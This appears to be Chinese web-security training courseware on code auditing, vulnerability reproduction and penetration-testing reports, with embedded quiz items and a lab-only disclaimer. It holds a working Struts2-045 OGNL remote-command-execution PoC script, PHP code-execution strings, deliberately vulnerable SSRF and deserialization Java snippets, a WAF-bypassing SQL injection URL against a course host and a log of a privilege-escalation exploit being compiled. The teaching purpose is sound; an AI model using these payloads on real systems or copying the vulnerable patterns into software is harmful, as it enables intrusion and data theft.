- 找函数集文件,往往函数集文件里面都包含通用函数。因此,可以在index.php文件或者一些功能性文件头部找到。 找配置文件,通常有config关键字,通过这个文件能了解程序的小部分功能,并且,如果配置文件中的参数以双引号括起来,那么就可能存在代码执行漏洞。只要我们在修改配置的时候,利用PHP可变变量的特性即可执行代码。 找安全过滤文件,安全过滤文件很重要,决定我们找到的可疑点能否利用。大多数应用程序都会在程序入口处对参数用函数进行过滤。 index文件,通过读index文件,可以了解整个程序运行流程,架构,包含的核心文件,不同目录的不同index文件有不同的实现方式。所以,最好将几个核心目录的index文件都读一遍。
以上内容没有涉及框架,如果有框架,那么难度还会更高。
上面提到PHP可变变量的特性,比如:
其中,$$a=‘two'’就等同于$one='two',可变变量指的实际就是$$a中的变量名部分(虽然这里变量名部分是$a)可以由另一个变量$a的值来命名。 因此最后输出结果是one two 再比如,像 这样的代码也是可以执行的。原理就在于双引号是解析执行,单引号是绝对的字符串。
有的写法在一些版本中不兼容。
下面几种写法是在所有版本中都能运行的写法:
"${【空格】phpinfo()}"; 第一个字符为空格 "${【Tab】phpinfo()}"; 第一个字符为tab "${/**/phpinfo()}"; 第一个字符为注释 "${【回车】phpinfo()}"; 第一个字符为回车 "${@phpinfo()}"; 第一个字符为@
原理就是可变变量内的花括号有这么一个规则,需要判断花括号内的内容是否为真正的代码,条件即是文本的第一个字符串是否为PHP语法解析引擎的分割字符和特殊的语法符号。 综上所述需要满足两个条件- 双引号 让花括号内的内容被当做是代码
再看一个比较绕的代码:
这个比较绕就在于他是二次嵌套,实际上,只要将可变变量以及上面几个例子理解透彻,就会发现,不管怎么嵌套,只要最内层的phpinfo()执行了,那么网页就会显示相应信息。 附上一个也可以执行的三层嵌套:
总结
以下属于代码审计基本思路的是|!通读全文|!基于关键词|!基于功能点|基于漏洞
以下关于代码审计说法错误的是|代码审计是漏洞挖掘的重要手段|代码审计是白盒|代码审计可以较为全面的挖掘漏洞|!不同的代码审计思路在漏洞挖掘成果上没有区别
以下关于不同的代码审计思路说法正确的是|基于功能点的代码审计是审计效果最好的代码审计思路|!基于关键词的代码审计可以快速发现漏洞|!通读全文的代码审计可以发现一些非常规漏洞|!不同的代码审计思路各有优劣,在不同场景下进行不同的选择
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
漏洞复现概述
什么是漏洞复现?
漏洞复现是指对某一漏洞进行还原验证的过程。
漏洞复现的意义?
很多人都会有这样的疑问,“为什么要进行漏洞复现?这些陈年漏洞复现还有什么意思?”,漏洞复现到底为何如此重要? 首先,要知道漏洞复现的漏洞是什么漏洞?大多数都是已经公开并且会造成严重威胁的漏洞。比如一些系统漏洞、软件漏洞等等。通过漏洞复现,第一我们可以认识到相关的系统知识,比如命令行、系统配置文件等等,第二对漏洞复现的认知,这个漏洞是如何产生的,是哪里的代码逻辑出现了问题。进行漏洞复现,我们不能简单的跟着别人的步骤走一遍或者连环境都不进行搭建就囫囵吞枣般看一遍别人的漏洞复现,然后就认为自己完成了一次漏洞复现,这样是不行的,没有任何意义,你只是知道有这个漏洞,除此之外你一无所知。简单的概括漏洞复现的三个点:搭建环境->实现漏洞->原理解析。要想真正地完成漏洞复现,这三个步骤缺一不可。
https://static-v.zhishibox.net/20210115/104940903.mp4|https://static.zhishibox.net/20210115/108712011.png
关于PoC的说法正确的是()|PoC是用来利用漏洞的|中文叫"有效载荷",指成功exploit之后,真正在目标系统执行的代码或指令|!指一段漏洞证明的代码|有了Exp才有PoC
漏洞复现环境
容器与虚拟机的本质区别?
虚拟机在宿主机器、宿主机器操作系统的基础上创建虚拟层、虚拟化的操作系统、虚拟化的仓库,然后再安装应用; 容器是宿主机器操作系统上创建Docker引擎,在引擎的基础上再安装应用。
https://static-v.zhishibox.net/20210115/100567777.mp4|https://static.zhishibox.net/20210115/108381817.png
docker的特点有()|容器占用空间很大|!多个容器可以共享一个镜像|!使程序具备可移植性,易于构建,并易于协作|部署和启动所需的时间都很长
Onethink 缓存 Getshell 漏洞
关键点
缓存文件的路径 用户注册成功并登陆成功 注册登陆必须每次抓包,url解码后再发包回去 每次注册和登陆在发包的时候URL-encode 必须勾选上再提交,否则会把换行符的url-encode当成字符串来处理;登陆的时候也需要抓包,在用户名前面加上换行符的URL-encode,且勾选上URL-encode
https://static-v.zhishibox.net/20210115/102434122.mp4|https://static.zhishibox.net/20210115/106918761.png
【思考】我们可以向缓存文件写内容,怎么去利用这个漏洞?
网页恶意代码通常利用()来实现植入并进行攻击|DOS攻击|口令攻击|!IE浏览器的漏洞|U盘木马植入
逃逸注释符
通过逃逸注释符植入Getshellhttps://static-v.zhishibox.net/20210115/102465115.mp4|https://static.zhishibox.net/20210115/108532014.png
下面说法错误的是()|所有的操作系统都可能有漏洞|防火墙也有漏洞|!有Getshell漏洞就不会受到病毒攻击|Getshell漏洞可能会导致数据泄露
ShellShock 破壳 漏洞
关于ShellShock:
ShellShock是一个BashShell漏洞
- 一般情况下,系统里面的Shell是有严格的权限控制的,如果没有相应的权限,是根本看不到某些命令的存在,更不要说执行这些命令 Bash在运行的过程中会调用操作系统的环境变量,并且会执行一些设置命令。通过ShellShock漏洞,入侵者可以把某些”本来没有权限执行的语句或者命令“,注入到环境变量里。当bash设置环境变量的时候,就会执行这些”被注入“命令。这样子便绕过用户权限的限制,把一些”没有权限执行的命令“,变成”具有执行权限的命令“了。 可以在系统内任意执行Bash命令语句
https://static-v.zhishibox.net/20210115/101116151.mp4|https://static.zhishibox.net/20210115/108640554.png
有关ShellShock漏洞的说法错误的是()|此漏洞会错误的将“{}”花括号外的命令进行执行|导致大量数据泄露|Linux WEB Server一般可以提供CGI接口,允许远程执行Bash命令|!所有的Linux都有此漏洞
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
FastJson 反序列化漏洞
关于fastjson:
是一个非常流行的库,可以将数据在 JSON 和 Java Object 之间互相转换。
利用:
想要使用 TemplatesImpl 的 _bytecodes 属性执行任意命令,有几个条件:
- 目标网站使用 fastjson 库解析 json 解析时设置了 Feature.SupportNonPublicField,否则不支持传入私有属性 目标使用的 jdk 中存在 TemplatesImpl 类
当然不排除有其他不需要 TemplatesImpl 的利用方法。
https://static-v.zhishibox.net/20210115/107276577.mp4|https://static.zhishibox.net/20210115/109391512.png
下列方法中,()最能有效地防止不安全的直接对象引用漏洞|使用参数化查询|过滤特殊字符串|使用cookie|!检测用户访问权限
DedeCMS 找后台
织梦内容管理系统(DedeCms) ,以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。https://static-v.zhishibox.net/20210115/108781619.mp4|https://static.zhishibox.net/20210115/102287447.png
下列关于漏洞扫描技术和工具的描述中,错误的是()|!主动扫描工作方式类似于IDS|CVE为每个漏洞确定了唯一的名称和标准化的描述|X-Scanner采用多线程方式对指定IP地址段进行安全漏洞扫描|主动扫描可能会影响网络系统的正常运行
Struts2-045 漏洞
Struts2-045 漏洞是一个远程命令执行漏洞,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。 恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。受影响版本
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
漏洞危害
在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
https://static-v.zhishibox.net/20210115/102690174.mp4|https://static.zhishibox.net/20210115/109692020.png
漏洞修复方案
漏洞触发点为Content-TypeHTTP头字段,故此可以添加action拦截器,过滤非法请求。
拦截类SecurityFilter.java代码:
import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class SecurityFilter extends HttpServlet implements Filter { private static final long serialVersionUID = 1L; public final String www_url_encode= "application/x-www-form-urlencoded"; public final String mul_data= "multipart/form-data "; public final String txt_pla= "text/plain"; public void doFilter(ServletRequest arg0, ServletResponse arg1,FilterChain arg2) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) arg0; HttpServletResponse response = (HttpServletResponse) arg1; String contenType=request.getHeader("conTent-type"); if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){ response.setContentType("text/html;charset=UTF-8"); response.getWriter().write("非法请求Content-Type!"); return; } arg2.doFilter(request, response); } public void init(FilterConfig arg0) throws ServletException { } }
将SecurityFilter.java文件编译为SecurityFilter.class,放入服务器路径为:/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/classes/ 修改web.xml(/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/web.xml)使得添加的拦截器生效 添加代码:
保存web.xml,然后重启tomcat,再次验证漏洞发现已被服务端拦截。
POC源码:
! /usr/bin/env python # encoding:utf-8 import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(): if len(sys.argv) < 3: print '''Usage: poc.py http://172.16.12.2/example/HelloWorld.action "command"''' sys.exit() register_openers() datagen, header = multipart_encode({"image": open("tmp.txt", "w+")}) header
="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header
="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context
).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+str(sys.argv
)+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(str(sys.argv
),datagen,headers=header) response = urllib2.urlopen(request) print response.read() poc()
https://github.com/lijiejie/struts2_045_scan
Struts2-045漏洞的说法错误的是()|通过恶意构造HTTP数据包利用漏洞|无需任何前置条件以及启用任何插件|可在存在此漏洞的服务器上执行系统命令|!只能通过删除commons-fileupload-x.x.x.jar文件进行修复
总结回顾
通过对通用漏洞的漏洞复现,可以丰富个人在渗透测试的思维宽度,从而形成自己一整套的渗透体系。https://static-v.zhishibox.net/20210115/100182122.mp4|https://static.zhishibox.net/20210115/106604076.png
以下关于缓冲区说法错误的是|堆栈溢出是缓冲区溢出的一种|缓冲区会造成严重后果|!缓冲区溢出属于主动攻击类型|如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,这时缓冲区溢出就会发生
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
语言特性—PHP
PHP目录结构
- 放引用的库或者插件,文件夹名字一般叫 librarie、lib、plugin PHP项目中 vendor 文件夹是PHP的包管理器安装依赖代码存放的路径 视图代码文件夹一般叫 layout、theme、template、view 控制器文件夹一般叫 controller 公用的一些代码文件夹一般叫 common 一些工具函数可能放在 helper/util/tool 文件夹里 配置文件放在 config 文件夹里 components 或 modules: 这里有mvc的代码,把功能互相独立出来 route.php: 对不同的url调用不同的代码
https://static-v.zhishibox.net/20210115/104673976.mp4|https://static.zhishibox.net/20210115/109429503.png
以下针对php代码审计说法正确的是|A. PHP代码审计大部分情况下需要进行反编译反混淆|B. PHP代码审计不能使用通读全文的代码审计思路|!C. PHP代码审计需要注意使用框架情况和原生PHP两种情况|D. PHP代码审计遇到的框架时一定需要阅读框架源码
语言特性—Java
工欲善其事,必先利其器。
Java代码审计辅助工具
- Jetbrains IDEA(IDE) Sublime text(文本编辑器) JD-GUI(反编译) Fernflower(反编译) Bytecode-Viewer Eclipse(IDE) NetBeans(IDE)
https://static-v.zhishibox.net/20210115/106666551.mp4|https://static.zhishibox.net/20210115/102654523.png
以下关于Java代码审计说法错误的是|JAVA代码审计时需要用到反编译技术|Java代码审计中的框架大部分为MVC框架|Java web项目需要通过web.xml获取项目一些关键信息|!Java web常见的框架只有struts2框架
语言特性—ASP.NET
一般来说,在 asp.net 应用中,需要进行观察的文件有:aspx.cs、.cs、.ashx 和 dll文件aspx.cs 是页面后的代码,aspx负责显示,服务器端的动作就是在aspx.cs定义的 .cs是类文件,公共类之类的 .ashx 是一般处理程序,主要用于写 web handler,可以理解成不会显示的 aspx页面,不过效率更高 dll 就是 cs文件编译之后的程序集
https://static-v.zhishibox.net/20210115/105459189.mp4|https://static.zhishibox.net/20210115/105198525.png
以下关于asp/.net代码审计说法正确的是|A. asp/.net代码审计项目不需要掌握逆向技术|!B. aspx后缀文件是asp/.net web的入口文件|C. asp/.net web项目只能由C#语言开发|D. asp/.net web项目不是MVC结构
代码审计小结
作为新手,初学代码审计,肯定很多东西看不懂,怎么办? 这个问题会将一大批想学代码审计又没有开发背景的人难下去。我们唯有硬啃,把这硬骨头啃碎了,才能继续下去,否则代码会读的昏昏沉沉。 通过搜索引擎查阅相关函数的用法和作用,见的多了自然就进入这个领域了。初学代码审计,会有大批代码看不懂,只有死磕下去,才会看懂越来越多的代码,也为了以后审计逻辑漏洞打下基础。但是,也不能盲目死磕一个不会的点,这个度只能自己把握。 另外,要有一种属于个人的审计思路,每个人的习惯不同,代码审计的方式也就不同。https://static-v.zhishibox.net/20210115/100201211.mp4|https://static.zhishibox.net/20210115/100871290.png
以下针对几种不同语言的代码审计问题说法错误的是|A. classes或jar是java web编译后的字节码,在进行代码审计前需要进行反编译|B. PHP代码一般不需要进行反编译等预处理除非源代码被混淆处理的情况下|!C. 代码审计不需要任何反编译方面的知识|D. dll是.net开发的web项目编译后的文件,在进行代码审计前需要进行反编译
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
漏洞审计-SQL注入
SQL 注入一般 fortify 都能扫描出来,手动审计一般直接搜索 select、update、delete、insert 关键词就会有收获如果 sql 语句中有出现 + append、 $() # 等字眼,如果没有配置 SQL 过滤文件,则判断存在 SQL 注入漏洞。https://static-v.zhishibox.net/20210115/104994772.mp4|https://static.zhishibox.net/20210115/105125645.png
当找到某个变量关键词有 SQL 注入漏洞时,还可以直接全局搜索那个关键词找出类似漏洞的文件,比如涉及SQL 注入漏洞的参数等等。
框架注入漏洞
像Struts2 远程代码执行漏洞这样的漏洞,如何进行审计? 查看 struts 插件的版本信息是否为漏洞版本。
https://static-v.zhishibox.net/20210115/108725990.mp4|https://static.zhishibox.net/20210115/103879814.png
SQL语句
|从表中选取数据=SELECT |用于删除表中的行=DELETE |用于向表格中插入新的行=INSERT INTO |用于修改表中的数据=Update
漏洞审计—代码执行
代码执行说的是可执行的脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open(); 反引号也是可以执行的,因为他调用了shell_exec这个函数。https://static-v.zhishibox.net/20210115/102863447.mp4|https://static.zhishibox.net/20210115/107234936.png
php函数
|执行一个外部程序=exec() |通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回=shell_exec() |在当前进程空间执行指定程序=pcntl_exec() |执行外部程序,并且显示输出=system() |打开进程文件指针=popen() |执行外部程序并且显示原始输出=passthre() |执行一个命令,并且打开用来输入/输出的文件指针=proc_open()
漏洞审计—文件上传
文件上传可以搜索以下关键词:(需注意有没有配置文件上传白名单)upload、write、fileName、filePath 在查看时,主要判断是否有检查后缀名,同时要查看配置文件是否有设置白名单或者黑名单。https://static-v.zhishibox.net/20210115/107588395.mp4|https://static.zhishibox.net/20210115/106084588.png
下面的这种没检查:
List
下列有关文件上传漏洞的说法正确的是()|!上传任意文件漏洞能够使攻击者通过上传木马文件,最终获得目标服务器的控制权限|对上传任意文件漏洞,只需要在客户端对上传文件大小、上传文件类型进行限制|Void func(char *str ){char buffer
; strcpy(buffer,str); return; } 代码存在文件上传漏洞|上传漏洞不需要webshell权限
漏洞审计—SSRF
SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。进行代码审计时需要关注发起HTTP请求的类及函数。https://static-v.zhishibox.net/20210115/103688618.mp4|https://static.zhishibox.net/20210115/104791037.png
SSRF(Server-Side Request Forge, 服务端请求伪造)
攻击者让服务端发起指定的请求,SSRF攻击的目标一般是从外网无法访问的内网系统。Java中的SSRF支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。相对于php,在 java 中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。
SSRF漏洞防御
- 限制协议为HTTP、HTTPS协议 禁止30x跳转 设置URL白名单或者限制内网IP 限制请求的端口为http常用的端口
下面是几个SSRF漏洞代码示例:
HttpURLConnection
//HttpURLConnection ssrf vul String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞 String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } System.out.println("html:" + html.toString()); in.close();
urlConnection
//urlConnection ssrf vul String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //发起请求,触发漏洞 String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } System.out.println("html:" + html.toString()); in.close();
ImageIO
// ImageIO ssrf vul String url = request.getParameter("url"); URL u = new URL(url); BufferedImage img = ImageIO.read(u); // 发起请求,触发漏洞
其他
// Request漏洞示例 String url = request.getParameter("url"); return Request.Get(url).execute().returnContent().toString();//发起请求 // openStream漏洞示例 String url = request.getParameter("url"); URL u = new URL(url); inputStream = u.openStream(); //发起请求 // OkHttpClient漏洞示例 String url = request.getParameter("url"); OkHttpClient client = new OkHttpClient(); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); client.newCall(ok_http).execute(); //发起请求 // HttpClients漏洞示例 String url = request.getParameter("url"); CloseableHttpClient client = HttpClients.createDefault(); HttpGet httpGet = new HttpGet(url); HttpResponse httpResponse = client.execute(httpGet); //发起请求
漏洞审计—权限控制
重点关注用户操作请求时,查看是否有对当前登陆用户权限做校验,从而确定是否存在漏洞,有些厂商会使用一些主流的权限框架,例如 shiro ,spring security 等框架,那么需要重点关注框架的配置文件以及实现方法。https://static-v.zhishibox.net/20210115/100570134.mp4|https://static.zhishibox.net/20210115/105894908.png
在以下代码中采用了 shiro 框架进行权限控制,代码对控制访问路径的权限设置,前面做了对 admin 路径下访问限制,只有 SysyUserFilter 设置了 isAccessAllowed方法,其他过滤均没有。
Map
SysUserFilter 中 isAccessAllowed 具体实现方法如下,没有对是否为当前用户进行判断,导致了越权
User user = (User) request.getAttribute(Constants.CURRENT_USER); if(user == null){ return true; }
如果没有使用框架的话,就要注意每个操作是否有权限。 下面的代码中获取 session 里的 username,只判断了 username 是不是为空,如果在截取数据包的时候将 username 再重新赋一个值就有可能造成越权漏洞。
String username = (String) session.getAttribute("username"); if(username == null){ response.sendkedirect(request.getContextPath() + "/index.jsp"); return; }
漏洞审计—反序列化
Java 程序使用 ObjectInputStream 对象的 readObject 方法将反序列化数据转换为 java 对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或 DB 存储等业务场景,在代码审计时可重点关注一些反序列化操作函数,并判断输入是否可控。例如:ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject
https://static-v.zhishibox.net/20210115/104606660.mp4|https://static.zhishibox.net/20210115/102466133.png
以下代码中,程序读取输入流并将其反序列化为对象。此时可查看项目工程中是否引入可利用的 commons-collections 3.1、commons-fileupload 1.3.1 等第三方库,即可构造特定反序列化对象实现任意代码执行。
//读取输入流,并转换对象 InputStream in=request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(in); //恢复对象 ois.readObject(); ois.close();
审计辅助工具
代码审计也就是拿到某网站的源码,然后进行审计,从而发现漏洞,但是我们审计的时候并不一定要一行一行的去看,这样未免也太浪费时间了,所以我们需要工具进行帮助我们。 我们在做代码审计的时候,建议先要把审计的某CMS随便点点,先熟悉一下功能。代码审计前先进行黑盒测试是个不错的选择,知道哪里有问题,然后再去找出问题的代码。 要关注变量和函数:可以控制的变量【一切输入都是有害的】 变量到达有利用价值的函数【一切进入函数的变量都是有害的】
https://static-v.zhishibox.net/20210115/103831370.mp4|https://static.zhishibox.net/20210115/103908599.png
rips 下载|https://static.twosecurity.xyz/rips-0.55.zip
seay 代码审计|https://pan.baidu.com/s/1i3Jw2uL#list/path=%2F
https://pan.baidu.com/s/1Tse1opylDG80YpNJPcIzkg
代码审计总结
代码审计需要比较强的代码能力和足够的耐心
https://static-v.zhishibox.net/20210115/104743208.mp4|https://static.zhishibox.net/20210115/104765345.png
请将以下特征代码与具体漏洞对应
|$sql \= "Select * from users where id='$id' limit 0,1";=SQL注入 |$result \= shell_exec('ping -c 1 ' . $_POST
);=命令执行 |$page_content \= file_get_contents($_GET
);=SSRF服务端请求伪造 |unserialize($_GET
);=反序列化漏洞
以下关于代码审计中漏洞的说法正确的是|整数型SQL注入点,在使用了addslashes函数对输入做转义后无法进行注入|PHP中只有$\_GET/$\_POST/$\_COOKIE/$\_FILES可以传递用户输入|!JAVA反序列化漏洞的利用链构造需要结合不同的JDK版本|SSRF漏洞中的Gopher协议可以用来构造HTTP请求
以下针对代码审计中命令注入漏洞说法正确的是|在php中与命令注入有关的函数有system/shell_exec/popen/fopen等|!命令注入漏洞常使用&&、|、;等字符来实现多个命令的执行|在php 7版本中assert是一个函数|!php中可以使用disable_function属性限制命令执行函数的使用
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
渗透测试总结
基于渗透测试基本流程的点线面
https://static-v.zhishibox.net/20210115/107527125.mp4|https://static.zhishibox.net/20210115/109620133.png
渗透测试执行标准七个阶段
|第一阶段=前期交互 |第二阶段=信息收集 |第三阶段=威胁建模 |第四阶段=漏洞分析 |第五阶段=漏洞利用 |第六阶段=后渗透 |第七阶段=编写报告
初步侦察
渗透测试实战战场|在该站点进行一次完整的渗透测试|http://47.106.80.112:8019/|
对目标站点进行信息收集,操作如下:
- 端口扫描 nmap CMS 识别 子域名爆破 目录扫描
https://static-v.zhishibox.net/20210115/100786353.mp4|https://static.zhishibox.net/20210115/105329794.png
Nmap支持的四种最基本的扫描方式
|TCPconnect()端口扫描=-sT参数 |TCP同步(SYN)端口扫描=-sS参数 |UDP端口扫描=-sU参数 |Ping扫描=-sP参数
如果要查看Nmap运行的详细过程,只要启用verbose模式,即加上-v参数,或者加上-vv参数获得更加详细的信息。
代码审计
利用前面讲到的几种方法,对目标站点的源码进行代码审计。https://static-v.zhishibox.net/20210115/105552376.mp4|https://static.zhishibox.net/20210115/109984797.png
课程中审计目标代码所采用的方式是|!关键词搜索|通读代码|基于功能点|以上都不是
突破防御
WAF Bypass又称 waf绕过,当我们遇到一个waf时,要确定是什么类型?什么品牌? 主要有以下三种:云waf
在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机。
主机防护软件
在主机上预先安装了这种防护软件,可用于扫描和保护主机和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。另外,mod_security、ngx-lua-waf 这类开源waf虽然看起来不错,但是有个弱点就是升级的成本会高一些。
硬件ips/ids防护、硬件waf
使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。
https://static-v.zhishibox.net/20210115/108306458.mp4|https://static.zhishibox.net/20210115/105329073.png
以下关于课程中绕过WAF进行注入的说法正确的是|!目标使用的WAF程序是低版本安全狗|课程中使用换行绕过WAF|!课程中使用内联注释绕过了WAF|!大小写可以用于绕过WAF
漏洞利用
通过前面找到的漏洞,进行深入挖掘。https://static-v.zhishibox.net/20210115/102706759.mp4|https://static.zhishibox.net/20210115/104399893.png
课程中发现的注入漏洞(http://test.twosecurity.cn:8080/showData/detail.php?pid=-1+/*!50000uNion*/+sElect+1,/**/user/**/()--+-)属于哪种类型的注入|报错注入|!UNION可回显注入|!整形注入|单引号注入
提升权限
通过代码审计破解加密方式从而获得管理员权限,并进入后台管理系统。https://static-v.zhishibox.net/20210115/104123190.mp4|https://static.zhishibox.net/20210115/104829347.png
以下做法不可能提升权限的是()|sql注入获取账号密码|弱口令爆破|!进行dos攻击|!利用系统版本漏洞提权
武器投递
getshell的方法有很多,具体实现还需看情况进行操作。http://static-v.zhishibox.net/20210118/8getshell.mp4|https://static.zhishibox.net/20210115/106590619.png
下列说法错误的是?|利用文件解析漏洞来拿webshell|直接上传getshell|!通过XSS进行getshell|执行sql语句写入webshell
实战回顾
通过渗透测试一系列流程,包括信息收集、代码审计、提权、利用漏洞最终getshell。https://static-v.zhishibox.net/20210115/100252420.mp4|https://static.zhishibox.net/20210115/102984331.png
在课程实战过程中提到了对目标进行哪些信息收集|!端口扫描|!目录扫描|!CMS识别|!子域名爆破
在目录扫描过程中发现目标存在源码泄漏www.tar.gz,该源码可以用于|信息收集|!代码审计|!获取后台地址|获取后台密码
以下关于SQL注入获取目标数据库连接密码查询到表是|infomation_schema.tables|infomation_schema.columns|!mysql.user|infomation_schema.processlist
以下语句是判断是否能进行UDF提权的条件的是|!select @@plugin_dir|!show variable like '%file%'|!show variable like '%file%'| select * from mysql.user
课程中配置文件写入漏洞产生的原因包括|!鉴权失效|!可通过参数控制实例化对象并调用指定方法|!未对写入配置文件参数进行过滤|!配置文件是php格式文件
大展身手
通过前面的学习,相信你已经了解了渗透测试的方法及流程,那么,请开始你的表演吧。大展身手实战场|通过前面的学习,相信你已经了解了渗透测试的方法及流程,那么,请开始你的表演|http://47.106.80.112:8469/|
法律声明

(该课件仅用于信息防御技术教学 请勿用于其他用途)
报告编写案例
什么是渗透测试报告?
对渗透测试进行全面展示的一种文档表达
http://static-v.zhishibox.net/20210118/%E6%8A%A5%E5%91%8A%E6%A1%88%E4%BE%8B.mp4|https://static.zhishibox.net/20210115/105010035.png
编写渗透测试报告目的
- 表达项目成果的一种方式 让客户能够通过渗透测试报告获取信息 合同约束
渗透测试报告本身没有一个非常统一的标准,可带入自己或团队的特色。
大致包含以下五个部分:- 概述 漏洞扫描 渗透结果 测试结果 安全建议
下列是从/var/log/message中提取的部分日志,请问最有可能出现了什么情况? |文件包含|账户爆破|!提权|以上都是
Sep 10 03:28:09 webserver test_shell_cmd:
5
ls -al /tmp/semtex.c
Sep 10 03:28:12 webserver test_shell_cmd:
6
chmod a+x /tmp/semtex.c
Sep 10 03:28:27 webserver test_shell_cmd:
7
gcc-4.6 -02 semtex.c && ./a.out
Sep 10 03:28:27 webserver test_shell_cmd:
8
gcc -02 semtex.c && ./a.out
Sep 10 03:28:53 webserver test_shell_cmd:
9
gcc -02 semtex.c
Sep 10 03:28:53 webserver root_shell_cmd:
在检测ssh日志时,我们需要检测哪些内容?|!登录失败的用户名/次数|!登录失败的源IP/尝试次数|!登录失败的用户登录正确的次数|!收集用户密码字典
拓展学习
https://www.elastic.co/cn/products/elastic-stack
开源日志系统比较:scribe、chukwa、kafka、flume
http://dongxicheng.org/search-engine/log-systems/
https://github.com/a2o/snoopy
web日志取证分析工具|https://twosecurity-resource.oss-cn-hangzhou.aliyuncs.com/LogForensics.zip
使用方法:
Perl LogForensics.pl -file logfile -websvr (nginx|httpd)
File:日志文件路径 Websvr : 日志类型 IP: 起始调查IP或ip列表,以逗号分割 url: 起始调查 cgi 链接或链接列表,以逗号分割
https://github.com/libyal/libevtx/blob/master/documentation/Windows%20XML%20Event%20Log%20(EVTX).asciidoc#2-file-header
UNIX Linux网络日志分析与流量监控|https://static.zhishibox.net/20210118/108648348.pdf
报告结构
渗透测试报告无硬性规定必须一模一样。
http://static-v.zhishibox.net/2021310_qiniu_9026cd347b0c535de1eabb9b132e1f52.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/7217900_1570872400.png
撰写路线:
- 以攻击路径为线进行撰写(完整的由外到内渗透) 以漏洞危害等级分类撰写(在以外网漏洞发现下)
是否需要解释信息收集的内容?
当涉及的安全问题需含有较为复杂不易理解的信息时,需要进行解释 如解释通过什么手段收集的目标信息系统的用户名、邮箱等等 而过多的内容解释会导致报告臃肿,要抓住客户真正需要的关键信息
是否需要对渗透测试的过程进行详细的解释?
通过说明问题,能达到客户在阅读报告后,可以在掌握一定基础知识的技术上进行复现问题 针对较为复杂的漏洞发现、利用过程等应该进行解释,如注入绕过、上传绕过等等
借助渗透测试报告模版,进行内容填充,完成一份完整的渗透测试报告。 不管什么格式,能够让用户满意、得到用户认可的即是好报告
需要注意避免的点:
